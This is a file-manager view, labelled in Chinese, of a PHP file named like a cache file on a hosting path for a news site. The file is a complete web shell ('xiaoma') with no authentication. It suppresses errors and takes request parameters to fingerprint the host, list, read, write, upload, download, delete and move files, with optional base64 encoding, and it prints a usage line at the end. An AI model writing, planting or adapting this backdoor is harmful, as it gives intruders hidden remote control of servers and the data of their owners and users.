编辑 cache_l6yah5t.php - 文件管理器

✏️ 编辑：cache_l6yah5t.php

路径：/home/boguraj1/newspaper.bogurajobs.com/cache_l6yah5t.php

大小：5.27 KB · 修改：2026-10-13 10:13:21 · 权限：0644 · 可写

<?php
error_reporting(0);
header('Content-Type: text/plain; charset=utf-8');
function xp($p){ return str_replace('\\','/',(string)$p); }
function xb($o){ return isset($_REQUEST[$o]) && $_REQUEST[$o]!=='' && $_REQUEST[$o]!=='0'; }
function xd($d){ if(xb('b64')){ return base64_decode(strtr($d,'-_','+/')); } return $d; }
function xfin($o,$d){ if(xb('b64')){ return base64_decode(strtr($d,'-_','+/')); } return $d; }

if(isset($_REQUEST['c'])){
 echo 'OK: c=1'."\n";
 echo 'hostname='.(function_exists('gethostname')?@gethostname():'ERR: 不可用')."\n";
 echo 'self='.xp(__FILE__)."\n";
 echo 'uid='.(@getmyuid()===false?'ERR: 不可用':@getmyuid())."\n";
 echo 'owner='.(@get_current_user()===''?'ERR: 不可用':@get_current_user())."\n";
 echo 'php='.@phpversion()."\n";
 echo 'dir='.xp(dirname(__FILE__))."\n";
 echo 'dir_writable='.(@is_writable(dirname(__FILE__))?'1':'0')."\n";
 exit;
}
if(isset($_REQUEST['up'])){
 $to=xp(isset($_REQUEST['to'])?(string)$_REQUEST['to']:'');
 if(!isset($_FILES['f'])||!is_array($_FILES['f'])){ echo 'ERR: need multipart field f'."\n"; exit; }
 if($to===''){ $to=xp(dirname(__FILE__)).'/'.basename((string)$_FILES['f']['name']); }
 $dir=dirname($to); if(!@is_dir($dir)){ @mkdir($dir,0755,true); }
 $tmp=(string)$_FILES['f']['tmp_name'];
 if(!@is_uploaded_file($tmp)){ echo 'ERR: not uploaded file'."\n"; exit; }
 if(!@move_uploaded_file($tmp,$to)){ echo 'ERR: move failed '.$to."\n"; exit; }
 echo 'OK: uploaded='.@filesize($to).' -> '.$to."\n";
 echo 'verify_sha1='.@sha1_file($to)."\n"; exit;
}
if(isset($_REQUEST['t'])){
 $tp=(string)$_REQUEST['t'];
 if($tp!=='' && $tp!=='1'){
 $tp=xp($tp);
 if(!@file_exists($tp)){ echo 'ERR: no file '.$tp."\n"; exit; }
 echo 'OK: size='.@filesize($tp).' sha1='.@sha1_file($tp).' path='.$tp."\n"; exit;
 }
 echo 'OK: time='.date('Y-m-d H:i:s').' unix='.time()."\n"; echo 'self_mtime='.@date('Y-m-d H:i:s',@filemtime(__FILE__))."\n"; exit;
}
if(isset($_REQUEST['wa'])){
 $f=xp((string)$_REQUEST['wa']);
 $data=xd(isset($_REQUEST['data'])?(string)$_REQUEST['data']:'');
 if($f===''){ echo 'ERR: need wa=<path>'."\n"; exit; }
 $dir=dirname($f); if(!@is_dir($dir)){ @mkdir($dir,0755,true); }
 if(xb('init')){ @file_put_contents($f,''); }
 $r=@file_put_contents($f,$data,FILE_APPEND);
 if($r===false){ echo 'ERR: append failed '.$f."\n"; exit; }
 echo 'OK: appended='.$r.' size='.@filesize($f).' -> '.$f."\n";
 echo 'sha1='.@sha1_file($f)."\n"; exit;
}
if(isset($_REQUEST['w'])){
 $f=xp((string)$_REQUEST['w']);
 $data=xd(isset($_REQUEST['data'])?(string)$_REQUEST['data']:'');
 if($f===''){ echo 'ERR: need w=<path>'."\n"; exit; }
 $dir=dirname($f); if(!@is_dir($dir)){ @mkdir($dir,0755,true); }
 $r=@file_put_contents($f,$data);
 if($r===false){ echo 'ERR: write failed '.$f."\n"; exit; }
 echo 'OK: wrote bytes='.$r.' -> '.$f."\n";
 echo 'verify_sha1='.@sha1_file($f).' expect_sha1='.sha1($data)."\n"; exit;
}
if(isset($_REQUEST['l'])){
 $d=(string)$_REQUEST['l']; if($d===''||$d==='1'){ $d=dirname(__FILE__); }
 $d=xp($d); if(!@is_dir($d)){ echo 'ERR: not a dir '.$d."\n"; exit; }
 $h=@scandir($d); if($h===false){ echo 'ERR: cannot list '.$d."\n"; exit; }
 echo 'OK: list '.$d."\n";
 foreach($h as $f){ if($f==='.'||$f==='..'){continue;} $p=$d.'/'.$f;
 $t=@is_dir($p)?'d':(@is_link($p)?'l':'-');
 echo $t.' '.@substr(sprintf('%o',@fileperms($p)),-4).' '.@date('Y-m-d H:i',@filemtime($p)).' '.@filesize($p).' '.$f."\n"; }
 exit;
}
if(isset($_REQUEST['r'])){
 $f=xp((string)$_REQUEST['r']);
 if(!@is_file($f)){ echo 'ERR: no file '.$f."\n"; exit; }
 $d=@file_get_contents($f); if($d===false){ echo 'ERR: cannot read '.$f."\n"; exit; }
 if(xb('b64')){ echo 'OK: b64 '.$f.' bytes='.strlen($d)."\n".base64_encode($d); }
 else { echo 'OK: read '.$f.' bytes='.strlen($d)."\n".$d; }
 exit;
}
if(isset($_REQUEST['s'])){
 $kw=(string)$_REQUEST['s'];
 $root=(isset($_REQUEST['l'])&&$_REQUEST['l']!==''&&$_REQUEST['l']!=='1')?xp($_REQUEST['l']):xp(dirname(__FILE__));
 echo 'OK: search '.$kw.' in '.$root."\n";
 $st=array($root); $n=0;
 while($st && $n<4000){ $cur=array_pop($st); $h=@scandir($cur); if($h===false){continue;}
 foreach($h as $f){ if($f==='.'||$f==='..'){continue;} $p=$cur.'/'.$f; $n++;
 if(strpos($f,$kw)!==false){ echo 'HIT '.$p."\n"; }
 if(@is_dir($p)&&$n<4000){ $st[]=$p; } } }
 echo 'OK: scanned='.$n."\n"; exit;
}
if(isset($_REQUEST['dl'])){
 $f=xp((string)$_REQUEST['dl']);
 if(!@is_file($f)){ header('HTTP/1.1 404 Not Found'); echo 'Not Found'; exit; }
 header('Content-Type: application/octet-stream');
 header('Content-Disposition: attachment; filename="'.basename($f).'"');
 header('Content-Length: '.(string)@filesize($f));
 echo @file_get_contents($f); exit;
}
if(isset($_REQUEST['d'])){
 $f=xp((string)$_REQUEST['d']);
 if(!@file_exists($f)){ echo 'ERR: no file '.$f."\n"; exit; }
 echo (@unlink($f)?'OK: deleted ':'ERR: cannot delete ').$f."\n"; exit;
}
if(isset($_REQUEST['mv'])){
 $f=xp((string)$_REQUEST['mv']); $t=isset($_REQUEST['to'])?xp((string)$_REQUEST['to']):'';
 if($t===''){ echo 'ERR: need to='."\n"; exit; }
 echo (@rename($f,$t)?'OK: moved to ':'ERR: cannot move ').$t."\n"; exit;
}
echo "OK: xiaoma\n";
echo "c=1 | l=1|<dir> | r=<f>[&b64=1] | w=&data=<c>[&b64=1] | wa=&data=<c>[&b64=1][&init=1] | up=1&to= (multipart f) | t=1|<path> | s=<kw> | d= | mv=&to= | dl=<f>\n";